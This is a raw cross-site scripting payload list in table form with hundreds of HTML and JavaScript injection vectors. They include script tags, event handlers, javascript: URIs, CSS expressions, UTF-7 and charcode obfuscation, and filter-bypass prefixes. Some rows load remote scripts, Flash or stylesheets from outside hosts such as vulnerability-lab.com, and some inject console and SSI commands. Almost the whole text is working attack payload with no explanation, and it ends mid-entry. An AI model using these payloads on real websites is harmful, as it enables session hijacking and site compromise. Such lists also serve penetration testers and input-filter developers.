| <video src=1 onerror=alert("fy7sdufsuidfhuisdf")> | |
| <audio src=1 onerror=alert("fy7sdufsuidfhuisdf")> | |
| <meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;"> | |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>"> | |
| <SCRIPT>document.cookie=true;</SCRIPT> | |
| <IMG SRC="jav ascript:document.cookie=true;"> | |
| <IMG SRC="javascript:document.cookie=true;"> | |
| <IMG SRC=" javascript:document.cookie=true;"> | |
| <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;> | |
| <SCRIPT>document.cookie=true;//<</SCRIPT> | |
| <SCRIPT <B>document.cookie=true;</SCRIPT> | |
| <IMG SRC="javascript:document.cookie=true;"> | |
| <iframe src="javascript:document.cookie=true;> | |
| <SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT> | |
| </TITLE><SCRIPT>document.cookie=true;</SCRIPT> | |
| <INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;"> | |
| <BODY BACKGROUND="javascript:document.cookie=true;"> | |
| <BODY ONLOAD=document.cookie=true;> | |
| <IMG DYNSRC="javascript:document.cookie=true;"> | |
| <IMG LOWSRC="javascript:document.cookie=true;"> | |
| <BGSOUND SRC="javascript:document.cookie=true;"> | |
| <BR SIZE="&{document.cookie=true}"> | |
| <LAYER SRC="javascript:document.cookie=true;"></LAYER> | |
| <LINK REL="stylesheet" HREF="javascript:document.cookie=true;"> | |
| <STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting | |
| ¼script¾document.cookie=true;¼/script¾ | |
| <IFRAME SRC="javascript:document.cookie=true;"></IFRAME> | |
| <FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET> | |
| <TABLE BACKGROUND="javascript:document.cookie=true;"> | |
| <TABLE><TD BACKGROUND="javascript:document.cookie=true;"> | |
| <DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| <DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| <DIV STYLE="width: expression(document.cookie=true);"> | |
| <STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE> | |
| <IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)"> | |
| <CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)"> | |
| exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'> | |
| <STYLE TYPE="text/javascript">document.cookie=true;</STYLE> | |
| <STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A> | |
| <STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE> | |
| <SCRIPT>document.cookie=true;</SCRIPT> | |
| <BASE HREF="javascript:document.cookie=true;//"> | |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT> | |
| <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
| <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML> | |
| <? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?> | |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4- | |
| <a href="javascript#document.cookie=true;"> | |
| <div onmouseover="document.cookie=true;"> | |
| <img src="javascript:document.cookie=true;"> | |
| <img dynsrc="javascript:document.cookie=true;"> | |
| <input type="image" dynsrc="javascript:document.cookie=true;"> | |
| <bgsound src="javascript:document.cookie=true;"> | |
| &<script>document.cookie=true;</script> | |
| &{document.cookie=true;}; | |
| <img src=&{document.cookie=true;};> | |
| <link rel="stylesheet" href="javascript:document.cookie=true;"> | |
| <img src="mocha:document.cookie=true;"> | |
| <img src="livescript:document.cookie=true;"> | |
| <a href="about:<script>document.cookie=true;</script>"> | |
| <body onload="document.cookie=true;"> | |
| <div style="background-image: url(javascript:document.cookie=true;);"> | |
| <div style="behaviour: url([link to code]);"> | |
| <div style="binding: url([link to code]);"> | |
| <div style="width: expression(document.cookie=true;);"> | |
| <style type="text/javascript">document.cookie=true;</style> | |
| <object classid="clsid:..." codebase="javascript:document.cookie=true;"> | |
| <style><!--</style><script>document.cookie=true;//--></script> | |
| <<script>document.cookie=true;</script> | |
| <script>document.cookie=true;//--></script> | |
| <!-- -- --><script>document.cookie=true;</script><!-- -- --> | |
| <img src="blah"onmouseover="document.cookie=true;"> | |
| <img src="blah>" onmouseover="document.cookie=true;"> | |
| <xml src="javascript:document.cookie=true;"> | |
| <xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml> | |
| <div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script> | |
| >"<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;"> | |
| >"<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>"> | |
| >"<SCRIPT>document.cookie=true;</SCRIPT> | |
| >"<IMG SRC="jav ascript:document.cookie=true;"> | |
| >"<IMG SRC="javascript:document.cookie=true;"> | |
| >"<IMG SRC=" javascript:document.cookie=true;"> | |
| >"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;> | |
| >"<SCRIPT>document.cookie=true;//<</SCRIPT> | |
| >"<SCRIPT <B>document.cookie=true;</SCRIPT> | |
| >"<IMG SRC="javascript:document.cookie=true;"> | |
| >"<iframe src="javascript:document.cookie=true;> | |
| >"<SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT> | |
| >"</TITLE><SCRIPT>document.cookie=true;</SCRIPT> | |
| >"<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;"> | |
| >"<BODY BACKGROUND="javascript:document.cookie=true;"> | |
| >"<BODY ONLOAD=document.cookie=true;> | |
| >"<IMG DYNSRC="javascript:document.cookie=true;"> | |
| >"<IMG LOWSRC="javascript:document.cookie=true;"> | |
| >"<BGSOUND SRC="javascript:document.cookie=true;"> | |
| >"<BR SIZE="&{document.cookie=true}"> | |
| >"<LAYER SRC="javascript:document.cookie=true;"></LAYER> | |
| >"<LINK REL="stylesheet" HREF="javascript:document.cookie=true;"> | |
| >"<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting | |
| >"¼script¾document.cookie=true;¼/script¾ | |
| >"<IFRAME SRC="javascript:document.cookie=true;"></IFRAME> | |
| >"<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET> | |
| >"<TABLE BACKGROUND="javascript:document.cookie=true;"> | |
| >"<TABLE><TD BACKGROUND="javascript:document.cookie=true;"> | |
| >"<DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| >"<DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| >"<DIV STYLE="width: expression(document.cookie=true);"> | |
| >"<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE> | |
| >"<IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)"> | |
| >"<CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)"> | |
| >"exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'> | |
| >"<STYLE TYPE="text/javascript">document.cookie=true;</STYLE> | |
| >"<STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A> | |
| >"<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE> | |
| >"<SCRIPT>document.cookie=true;</SCRIPT> | |
| >"<BASE HREF="javascript:document.cookie=true;//"> | |
| >"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT> | |
| >"<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| >"<XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
| >"<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML> | |
| >"<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?> | |
| >"<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4- | |
| >"<a href="javascript#document.cookie=true;"> | |
| >"<div onmouseover="document.cookie=true;"> | |
| >"<img src="javascript:document.cookie=true;"> | |
| >"<img dynsrc="javascript:document.cookie=true;"> | |
| >"<input type="image" dynsrc="javascript:document.cookie=true;"> | |
| >"<bgsound src="javascript:document.cookie=true;"> | |
| >"&<script>document.cookie=true;</script> | |
| >"&{document.cookie=true;}; | |
| >"<img src=&{document.cookie=true;};> | |
| >"<link rel="stylesheet" href="javascript:document.cookie=true;"> | |
| >"<img src="mocha:document.cookie=true;"> | |
| >"<img src="livescript:document.cookie=true;"> | |
| >"<a href="about:<script>document.cookie=true;</script>"> | |
| >"<body onload="document.cookie=true;"> | |
| >"<div style="background-image: url(javascript:document.cookie=true;);"> | |
| >"<div style="behaviour: url([link to code]);"> | |
| >"<div style="binding: url([link to code]);"> | |
| >"<div style="width: expression(document.cookie=true;);"> | |
| >"<style type="text/javascript">document.cookie=true;</style> | |
| >"<object classid="clsid:..." codebase="javascript:document.cookie=true;"> | |
| >"<style><!--</style><script>document.cookie=true;//--></script> | |
| >"<<script>document.cookie=true;</script> | |
| >"<script>document.cookie=true;//--></script> | |
| >"<!-- -- --><script>document.cookie=true;</script><!-- -- --> | |
| >"<img src="blah"onmouseover="document.cookie=true;"> | |
| >"<img src="blah>" onmouseover="document.cookie=true;"> | |
| >"<xml src="javascript:document.cookie=true;"> | |
| >"<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml> | |
| >"<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script> | |
| -1<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;"> | |
| -1<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>"> | |
| -1<SCRIPT>document.cookie=true;</SCRIPT> | |
| -1<IMG SRC="jav ascript:document.cookie=true;"> | |
| -1<IMG SRC="javascript:document.cookie=true;"> | |
| -1<IMG SRC=" javascript:document.cookie=true;"> | |
| -1<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;> | |
| -1<SCRIPT>document.cookie=true;//<</SCRIPT> | |
| -1<SCRIPT <B>document.cookie=true;</SCRIPT> | |
| -1<IMG SRC="javascript:document.cookie=true;"> | |
| -1<iframe src="javascript:document.cookie=true;> | |
| -1<SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT> | |
| -1</TITLE><SCRIPT>document.cookie=true;</SCRIPT> | |
| -1<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;"> | |
| -1<BODY BACKGROUND="javascript:document.cookie=true;"> | |
| -1<BODY ONLOAD=document.cookie=true;> | |
| -1<IMG DYNSRC="javascript:document.cookie=true;"> | |
| -1<IMG LOWSRC="javascript:document.cookie=true;"> | |
| -1<BGSOUND SRC="javascript:document.cookie=true;"> | |
| -1<BR SIZE="&{document.cookie=true}"> | |
| -1<LAYER SRC="javascript:document.cookie=true;"></LAYER> | |
| -1<LINK REL="stylesheet" HREF="javascript:document.cookie=true;"> | |
| -1<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting | |
| -1¼script¾document.cookie=true;¼/script¾ | |
| -1<IFRAME SRC="javascript:document.cookie=true;"></IFRAME> | |
| -1<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET> | |
| -1<TABLE BACKGROUND="javascript:document.cookie=true;"> | |
| -1<TABLE><TD BACKGROUND="javascript:document.cookie=true;"> | |
| -1<DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| -1<DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| -1<DIV STYLE="width: expression(document.cookie=true);"> | |
| -1<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE> | |
| -1<IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)"> | |
| -1<CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)"> | |
| -1exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'> | |
| -1<STYLE TYPE="text/javascript">document.cookie=true;</STYLE> | |
| -1<STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A> | |
| -1<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE> | |
| -1<SCRIPT>document.cookie=true;</SCRIPT> | |
| -1<BASE HREF="javascript:document.cookie=true;//"> | |
| -1<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT> | |
| -1<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| -1<XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
| -1<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML> | |
| -1<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?> | |
| -1<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4- | |
| -1<a href="javascript#document.cookie=true;"> | |
| -1<div onmouseover="document.cookie=true;"> | |
| -1<img src="javascript:document.cookie=true;"> | |
| -1<img dynsrc="javascript:document.cookie=true;"> | |
| -1<input type="image" dynsrc="javascript:document.cookie=true;"> | |
| -1<bgsound src="javascript:document.cookie=true;"> | |
| -1&<script>document.cookie=true;</script> | |
| -1&{document.cookie=true;}; | |
| -1<img src=&{document.cookie=true;};> | |
| -1<link rel="stylesheet" href="javascript:document.cookie=true;"> | |
| -1<img src="mocha:document.cookie=true;"> | |
| -1<img src="livescript:document.cookie=true;"> | |
| -1<a href="about:<script>document.cookie=true;</script>"> | |
| -1<body onload="document.cookie=true;"> | |
| -1<div style="background-image: url(javascript:document.cookie=true;);"> | |
| -1<div style="behaviour: url([link to code]);"> | |
| -1<div style="binding: url([link to code]);"> | |
| -1<div style="width: expression(document.cookie=true;);"> | |
| -1<style type="text/javascript">document.cookie=true;</style> | |
| -1<object classid="clsid:..." codebase="javascript:document.cookie=true;"> | |
| -1<style><!--</style><script>document.cookie=true;//--></script> | |
| -1<<script>document.cookie=true;</script> | |
| -1<script>document.cookie=true;//--></script> | |
| -1<!-- -- --><script>document.cookie=true;</script><!-- -- --> | |
| -1<img src="blah"onmouseover="document.cookie=true;"> | |
| -1<img src="blah>" onmouseover="document.cookie=true;"> | |
| -1<xml src="javascript:document.cookie=true;"> | |
| -1<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml> | |
| -1<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script> | |
| >"<iframe src=http://vulnerability-lab.com/>@gmail.com | |
| >"<script>alert(document.cookie)</script><div style="[email protected] | |
| >"<script>alert(document.cookie)</script>@gmail.com | |
| <iframe src=http://vulnerability-lab.com/>@gmail.com | |
| <script>alert(document.cookie)</script><div style="[email protected] | |
| <script>alert(document.cookie)</script>@gmail.com | |
| Cross Site Scripting Strings Restriction Bypass Phone: | |
| +49/>"<iframe src=http://vulnerability-lab.com>1337 | |
| "><iframe src='' onload=alert('mphone')> | |
| <iframe src=http://vulnerability-lab.com>1337+1 | |
| Cross Site Scripting Strings Restriction Bypass Obfuscation | |
| >“<ScriPt>ALeRt("VlAb")</scriPt> | |
| >"<IfRaMe sRc=hTtp://vulnerability-lab.com></IfRaMe> | |
| Cross Site Scripting Strings Restriction Bypass String to Charcode | |
| <html><body> | |
| <button.onclick="alert(String.fromCharCode(60,115,99,114,105,112,116,62,97,108, | |
| 101,114,116,40,34,67,114,111,115,115,83,105,116,101,83,99,114,105,112,116,105,1 | |
| 10,103,64,82,69,77,79,86,69,34,41,60,47,115,99,114,105,112,116,62));">String:fr | |
| om.Char.Code</button></body></html> | |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))//\";alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))</SCRIPT> | |
| '';!--"<CrossSiteScripting>=&{()} | |
| %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%43%72%6F | |
| %73%73%53%69%74%65%53%63%72%69%70%74%69%6E%67%32%22%29%3C%2F | |
| %73%63%72%69%70%74%3E | |
| Cross Site Scripting Strings via Console: | |
| set vlan name 1337 <script>alert(document.cookie)</script> | |
| set system name <iframe src=http://www.vulnerability-lab.com> | |
| set system location "><iframe src=a onload=alert("VL") < | |
| set system contact <script>alert('VL')</script> | |
| insert <script>alert(document.cookie)</script> | |
| add <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT>'"--> | |
| add user <script>alert(document.cookie)</script> <script>alert(document.cookie)</script>@gmail.com | |
| add topic <iframe src=http://www.vulnerability-lab.com> | |
| add name <script>alert('VL')</script> | |
| perl -e 'print "<IMG SRC=java\0script:alert(\"CrossSiteScripting\")>";' > out | |
| perl -e 'print "<SCR\0IPT>alert(\"CrossSiteScripting\")</SCR\0IPT>";' > out | |
| <!--[if gte IE 4]> <SCRIPT>alert('CrossSiteScripting');</SCRIPT> <![endif]--> | |
| <IMG | |
| SRC | |
| = | |
| " | |
| j | |
| a | |
| v | |
| a | |
| s | |
| c | |
| r | |
| i | |
| p | |
| t | |
| : | |
| a | |
| l | |
| e | |
| r | |
| t | |
| ( | |
| ' | |
| V | |
| L | |
| A | |
| B | |
| ' | |
| ) | |
| " | |
| > | |
| <EMBED SRC="http://vulnerability-lab.com/CrossSiteScripting.swf" AllowScriptAccess="always"></EMBED> | |
| <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> | |
| <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> | |
| <object type="application/x-shockwave-flash" data="http://www.vulnerability-lab.com/hack.swf" width="300" height="300"> | |
| <param name="movie" value="http://www.subhohalder.com/xysecteam.swf" /> | |
| <param name="quality" value="high" /> | |
| <param name="scale" value="noscale" /> | |
| <param name="salign" value="LT" /> | |
| <param name="allowScriptAccess" value="always" /> | |
| <param name="menu" value="false" /> | |
| </object> | |
| <SCRIPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT> | |
| <<SCRIPT>alert("CrossSiteScripting");//<</SCRIPT> | |
| <SCRIPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js?<B> | |
| <SCRIPT SRC=//vulnerability-lab.com/.js> | |
| <SCRIPT>a=/CrossSiteScripting/ alert(a.source)</SCRIPT> | |
| <SCRIPT a=">" SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT> | |
| <SCRIPT a=`>` SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT> | |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT> | |
| </TITLE><SCRIPT>alert("CrossSiteScripting");</SCRIPT> | |
| <IMG SRC="javascript:alert('CrossSiteScripting');"> | |
| <IMG SRC=javascript:alert('CrossSiteScripting')> | |
| <IMG SRC=JaVaScRiPt:alert('CrossSiteScripting')> | |
| <IMG SRC=javascript:alert("CrossSiteScripting")> | |
| <IMG SRC=`javascript:alert("RM'CrossSiteScripting'")`> | |
| <IMG """><SCRIPT>alert("CrossSiteScripting")</SCRIPT>"> | |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| <IMG SRC="jav ascript:alert('CrossSiteScripting');"> | |
| <IMG SRC="jav	ascript:alert('CrossSiteScripting');"> | |
| <IMG SRC="jav
ascript:alert('CrossSiteScripting');"> | |
| <IMG SRC="jav
ascript:alert('CrossSiteScripting');"> | |
| <IMG SRC=" javascript:alert('CrossSiteScripting');"> | |
| <IMG SRC="javascript:alert('CrossSiteScripting')" | |
| <IMG DYNSRC="javascript:alert('CrossSiteScripting')"> | |
| <IMG LOWSRC="javascript:alert('CrossSiteScripting')"> | |
| <IMG SRC='vbscript:msgbox("CrossSiteScripting")'> | |
| <IMG SRC="mocha:[code]"> | |
| <IMG SRC="livescript:[code]"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('CrossSiteScripting');"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('CrossSiteScripting');"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('CrossSiteScripting');"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=jAvAsCriPt:aLeRt('CroSsSiteScrIpting');"> | |
| <META HTTP-EQUIV="Link" Content="<http://vulnerability-lab.com/CrossSiteScripting.css>; REL=stylesheet"> | |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('CrossSiteScripting')</SCRIPT>"> | |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('CrossSiteScripting');+ADw-/SCRIPT+AD4- | |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://vulnerability-lab.com/scriptlet.html"></OBJECT> | |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('CrossSiteScripting')></OBJECT> | |
| <STYLE>@im\port'\ja\vasc\ript:alert("CrossSiteScripting")';</STYLE> | |
| <STYLE>@import'http://vulnerability-lab.com/CrossSiteScripting.css';</STYLE> | |
| <STYLE TYPE="text/javascript">alert('CrossSiteScripting');</STYLE> | |
| <STYLE>.CrossSiteScripting{background-image:url("javascript:alert('CrossSiteScripting')");}</STYLE><A CLASS=CrossSiteScripting></A> | |
| <STYLE type="text/css">BODY{background:url("javascript:alert('CrossSiteScripting')")}</STYLE> | |
| <STYLE>li {list-style-image: url("javascript:alert('CrossSiteScripting')");}</STYLE><UL><LI>CrossSiteScripting | |
| <STYLE>BODY{-moz-binding:url("http://vulnerability-lab.com/CrossSiteScriptingmoz.xml#CrossSiteScripting")}</STYLE> | |
| <DIV STYLE="background-image: url(javascript:alert('CrossSiteScripting'))"> | |
| <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> | |
| <DIV STYLE="background-image: url(javascript:alert('CrossSiteScripting'))"> | |
| <DIV STYLE="width: expression(alert('CrossSiteScripting'));"> | |
| <LAYER SRC="http://vulnerability-lab.com/script.html"></LAYER> | |
| <LINK REL="stylesheet" HREF="javascript:alert('CrossSiteScripting');"> | |
| <LINK REL="stylesheet" HREF="http://vulnerability-lab.com/CrossSiteScripting.css"> | |
| <BODY BACKGROUND="javascript:alert('CrossSiteScripting')"> | |
| <BODY ONLOAD=alert('CrossSiteScripting')> | |
| <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("CrossSiteScripting")> | |
| <iframe src=http://vulnerability-lab.com/index.html < | |
| <TABLE BACKGROUND="javascript:alert('CrossSiteScripting')"> | |
| <TABLE><TD BACKGROUND="javascript:alert('CrossSiteScripting')"> | |
| <BGSOUND SRC="javascript:alert('CrossSiteScripting');"> | |
| <BR SIZE="&{alert('CrossSiteScripting')}"> | |
| <A HREF="http://server.com/">CrossSiteScripting</A> | |
| <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">CrossSiteScripting</A> | |
| <A HREF="http://1113982867/">CrossSiteScripting</A> | |
| <A HREF="javascript:document.location='http://www.vulnerability-lab.com/'">CrossSiteScripting</A> | |
| <BASE HREF="javascript:alert('CrossSiteScripting');//"> | |
| \";alert('CrossSiteScripting');// | |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('CrossSiteScripting');"> | |
| <CrossSiteScripting STYLE="behavior: url(CrossSiteScripting.htc);"> | |
| ¼script¾alert(¢CrossSiteScripting¢)¼/script¾ | |
| <IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(alert('CrossSiteScripting'))"> | |
| <CrossSiteScripting STYLE="CrossSiteScripting:expression(alert('CrossSiteScripting'))"> exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*"); CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(alert("CrossSiteScripting"))'> | |
| a="get"; | |
| b="URL(\""; | |
| c="javascript:"; | |
| d="alert('CrossSiteScripting');\")"; | |
| eval(v+l+a+b); | |
| <HTML xmlns:CrossSiteScripting> | |
| <?import namespace="CrossSiteScripting" implementation="http://ha.ckers.org/CrossSiteScripting.htc"> | |
| <CrossSiteScripting:CrossSiteScripting>CrossSiteScripting</CrossSiteScripting:CrossSiteScripting> | |
| <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('CrossSiteScripting');">]]> | |
| </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:alert('CrossSiteScripting')"></B></I></XML> | |
| <SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
| <XML SRC="CrossSiteScriptingtest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <HTML><BODY> | |
| <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> | |
